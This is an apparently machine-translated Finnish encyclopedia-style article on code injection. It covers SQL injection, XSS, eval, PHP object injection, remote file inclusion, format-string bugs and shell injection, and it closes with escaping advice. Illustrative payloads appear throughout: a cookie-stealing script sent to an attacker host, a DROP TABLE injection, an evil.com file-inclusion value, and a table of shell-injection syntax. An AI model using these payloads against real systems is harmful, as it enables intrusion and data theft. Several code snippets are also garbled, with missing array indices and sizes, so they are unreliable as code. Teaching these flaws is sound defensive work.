SQL injectionEdit
SQL-injektio hyödyntää SQL:n syntaksia injektoidakseen komentoja, joilla voidaan lukea tai muuttaa tietokantaa tai vaarantaa alkuperäisen kyselyn merkitys.
Asettele esimerkiksi verkkosivu, jossa on kaksi kenttää, joihin käyttäjät voivat syöttää käyttäjätunnuksen ja salasanan. Sivun takana oleva koodi luo SQL-kyselyn, jolla salasana tarkistetaan käyttäjänimien luettelosta:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'
Jos tämä kysely palauttaa yhtään riviä, pääsy myönnetään. Jos pahansuopa käyttäjä kuitenkin syöttää kelvollisen käyttäjänimen ja pistää salasanakenttään jonkin kelvollisen koodin (password' OR '1'='1
), tuloksena oleva kysely näyttää tältä:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'password' OR '1'='1'
Yllä olevassa esimerkissä ”Salasana” oletetaan tyhjäksi tai joksikin harmittomaksi merkkijonoksi. ”'1'='1'
” on aina tosi ja monta riviä palautetaan, mikä mahdollistaa pääsyn.
Tekniikkaa voidaan tarkentaa siten, että useita lausekkeita voidaan suorittaa tai jopa ladata ja suorittaa ulkoisia ohjelmia.
Asetetaan kysely, jonka muoto on seuraava:
SELECT User.UserIDFROM UserWHERE User.UserID = ' " + UserID + " 'AND User.Pwd = ' " + Password + " '
Jos vastustajalla on syötteinä seuraavat:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
kysely jäsennetään seuraavasti:
SELECT User.UserIDFROM UserWHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='
Tuloksena on, että taulukko User
poistetaan tietokannasta. Tämä tapahtuu, koska ;
-symboli merkitsee yhden komennon päättymistä ja uuden komennon alkamista. --
merkitsee kommentin alkua.
Cross-site scriptingEdit
Koodi-injektio on koodin haitallinen injektointi tai tuominen sovellukseen. Joillakin verkkopalvelimilla on vieraskirja-skripti, joka ottaa vastaan pieniä viestejä käyttäjiltä, ja se vastaanottaa tyypillisesti sellaisia viestejä kuin:
Very nice site!
Mutta pahantahtoinen henkilö voi tietää vieraskirjassa olevan koodin injektointihaavoittuvuuden ja syöttää viestin, kuten:
Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>
Jos toinen käyttäjä katselee sivua, injektoitu koodi suoritetaan. Tämän koodin avulla hyökkääjä voi esiintyä toisena käyttäjänä. Saman ohjelmistovirheen voi kuitenkin vahingossa laukaista vaatimaton käyttäjä, jolloin verkkosivusto näyttää huonoa HTML-koodia.
HTML- ja skripti-injektio on suosittu aihe, jota kutsutaan yleisesti nimellä ”cross-site scripting” tai ”XSS”. XSS tarkoittaa injektiovirhettä, jossa käyttäjän syöttämä web-skripti tai jotain vastaavaa sijoitetaan tulostettuun HTML-koodiin ilman, että sitä tarkistetaan HTML-koodin tai skriptien osalta.
Monet näistä ongelmista liittyvät virheellisiin oletuksiin siitä, mitkä syöttötiedot ovat mahdollisia, tai erityisten tietojen vaikutuksiin.
Dynaamisen arvioinnin haavoittuvuudetEdit
eval()
-injektiohaavoittuvuus syntyy, kun hyökkääjä pystyy hallitsemaan kokonaan tai osittain syöttömerkkijonoa, joka syötetään eval()
-funktiokutsuun.
$myvar = 'somevalue';$x = $_GET;eval('$myvar = ' . $x . ';');
Argumentti ”eval
” käsitellään PHP:nä, joten siihen voidaan liittää lisäkomentoja. Jos esimerkiksi ”arg” on ”10; system('/bin/echo uh-oh')
”, ajetaan lisäkoodia, joka suorittaa ohjelman palvelimella, tässä tapauksessa ”/bin/echo
”.
Object injectionEdit
PHP mahdollistaa kokonaisten objektien serialisoinnin ja deserialisoinnin. Jos deserialisointitoimintoon päästetään epäluotettavaa syötettä, on mahdollista korvata ohjelmassa olemassa olevia luokkia ja suorittaa haitallisia hyökkäyksiä. Tällainen hyökkäys Joomlaan löydettiin vuonna 2013.
Remote file injectionEdit
Tarkastellaan tätä PHP-ohjelmaa (joka sisältää pyynnössä määritellyn tiedoston):
<?php$color = 'blue';if (isset($_GET)) $color = $_GET;require($color . '.php');
Esimerkkiä saatetaan lukea niin, että vain väritiedostot, kuten blue.php
ja red.php
, voidaan ladata, kun taas hyökkääjät saattavat antaa COLOR=http://evil.com/exploit
, jolloin PHP lataa ulkoisen tiedoston.
Format specifier injectionMuokkaa muokkaus
Muotoilumerkkijonovirheet esiintyvät yleisimmin silloin, kun ohjelmoija haluaa tulostaa merkkijonon, joka sisältää käyttäjän antamia tietoja. Ohjelmoija saattaa erehdyksessä kirjoittaa printf(buffer)
eikä printf("%s", buffer)
. Ensimmäinen versio tulkitsee buffer
:n muotoilujonoksi ja jäsentää sen mahdollisesti sisältämät muotoiluohjeet. Toinen versio yksinkertaisesti tulostaa merkkijonon näytölle, kuten ohjelmoija on tarkoittanut.Tarkastellaan seuraavaa lyhyttä C-ohjelmaa, jossa on paikallinen muuttuja char array password
, jossa on salasana; ohjelma kysyy käyttäjältä kokonaislukua ja merkkijonoa ja kaikui sitten käyttäjän antaman merkkijonon ulos.
char user_input; int int_in; char password = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;
Jos käyttäjän syötteessä on lista muotoilun määritteitä, kuten esimerkiksi %s%s%s%s%s%s%s%s
, niin printf()
aloitetaan lukemaan pinosta. Lopulta yksi %s
-formaattispesifikaattorista pääsee pinossa olevaan osoitteeseen password
ja tulostaa Password1
näytölle.
Shell injectionEdit
Shell injection (tai komentosarjan injektio) on saanut nimensä Unixin shellien mukaan, mutta se soveltuu useimpiin järjestelmiin, jotka sallivat ohjelmiston suorittaa komentorivin ohjelmoidusti. Tässä on esimerkki haavoittuvasta tcsh-skriptistä:
#!/bin/tcsh# check arg outputs it matches if arg is one if ( == 1) echo it matches
Jos edellä mainittu on tallennettu suoritettavaan tiedostoon ./check
, komentotulkkikomento ./check " 1 ) evil"
yrittää suorittaa injektoidun komentotulkkikomennon evil
sen sijaan, että vertaisi argumenttia vakioon. Tässä hyökkäyksen kohteena on koodi, joka yrittää tarkistaa parametrin, eli juuri se koodi, joka olisi saattanut yrittää validoida parametrin puolustautuakseen hyökkäykseltä.
Kaikki funktiot, joita voidaan käyttää komentotulkkikomennon koostamiseen ja suorittamiseen, ovat potentiaalisia välineitä komentotulkki-injektiohyökkäyksen käynnistämiseen. Tällaisia ovat muun muassa system()
, StartProcess()
ja System.Diagnostics.Process.Start()
.
Client-palvelinjärjestelmät, kuten verkkoselaimen vuorovaikutus verkkopalvelimien kanssa, ovat potentiaalisesti haavoittuvia shell-injektiolle. Tarkastellaan seuraavaa lyhyttä PHP-ohjelmaa, joka voidaan suorittaa web-palvelimella ulkoisen ohjelman funnytext
suorittamiseksi käyttäjän lähettämän sanan korvaamiseksi jollakin muulla sanalla.
<?phppassthru("/bin/funnytext " . $_GET);
Ylläoleva passthru
muodostaa shell-komennon, jonka web-palvelin sitten suorittaa. Koska osa koostetusta komennosta on peräisin verkkoselaimen antamasta URL-osoitteesta, tämä mahdollistaa haitallisten shell-komentojen syöttämisen URL-osoitteeseen. Tähän ohjelmaan voidaan syöttää koodia useilla eri tavoilla hyödyntämällä eri komentotulkkiominaisuuksien syntaksia (luettelo ei ole tyhjentävä):
Shell-ominaisuus | USER_INPUT arvo |
Tuloksena oleva shell-komento | Erittely | |
---|---|---|---|---|
Sekventiaalinen suoritus |
; malicious_command |
; malicious_command |
/bin/funnytext ; malicious_command |
Suorittaa funnytext ja sen jälkeen malicious_command . |
Putkijohdot | | malicious_command |
/bin/funnytext | malicious_command |
Lähettää funnytext :n tulosteen syötteenä malicious_command :lle. |
|
Komennon korvaaminen | `malicious_command` |
/bin/funnytext `malicious_command` |
Lähettää malicious_command :n tulosteen argumentteina :lle. |
|
Komennon korvaaminen | $(malicious_command) |
/bin/funnytext $(malicious_command) |
Lähettää malicious_command tulosteen funnytext argumentteina. |
|
AND list | && malicious_command |
/bin/funnytext && malicious_command |
Suorittaa malicious_command , jos funnytext palauttaa poistumistilaksi 0 (onnistunut). |
|
OR list | || malicious_command |
/bin/funnytext || malicious_command |
Suorittaa malicious_command iff funnytext palauttaa nollasta poikkeavan poistumistilan (virhe). |
|
Tulosteen uudelleenohjaus | > ~/.bashrc |
/bin/funnytext > ~/.bashrc |
Kirjoittaa tiedoston .bashrc sisällön funnytext tulosteella. |
|
Syötteen uudelleenohjaus | < ~/.bashrc |
/bin/funnytext < ~/.bashrc |
Lähettää tiedoston .bashrc sisällön syötteenä tiedostoon funnytext . |
Jotkut kielet tarjoavat funktioita, joiden avulla komentotulkkikomentojen muodostamiseen käytettävät merkkijonot voidaan paeta tai lainata oikein:
- PHP:
escapeshellarg()
jaescapeshellcmd()
- Python:
shlex.quote()
Tämä asettaa kuitenkin edelleen ohjelmoijille taakan tietää/oppia näistä funktioista ja muistaa käyttää niitä joka kerta, kun he käyttävät komentotulkkikomentoja. Näiden funktioiden käytön lisäksi suositellaan myös käyttäjän syötteen validointia tai sanitointia.
Turvallisempi vaihtoehto on käyttää API:ita, jotka suorittavat ulkoisia ohjelmia suoraan eikä komentotulkin kautta, jolloin estetään komentotulkki-injektion mahdollisuus. Nämä API:t eivät kuitenkaan yleensä tue erilaisia simpukoiden mukavuusominaisuuksia ja/tai ovat hankalampia/selkeämpiä verrattuna ytimekkääseen simpukkasyntaksiin.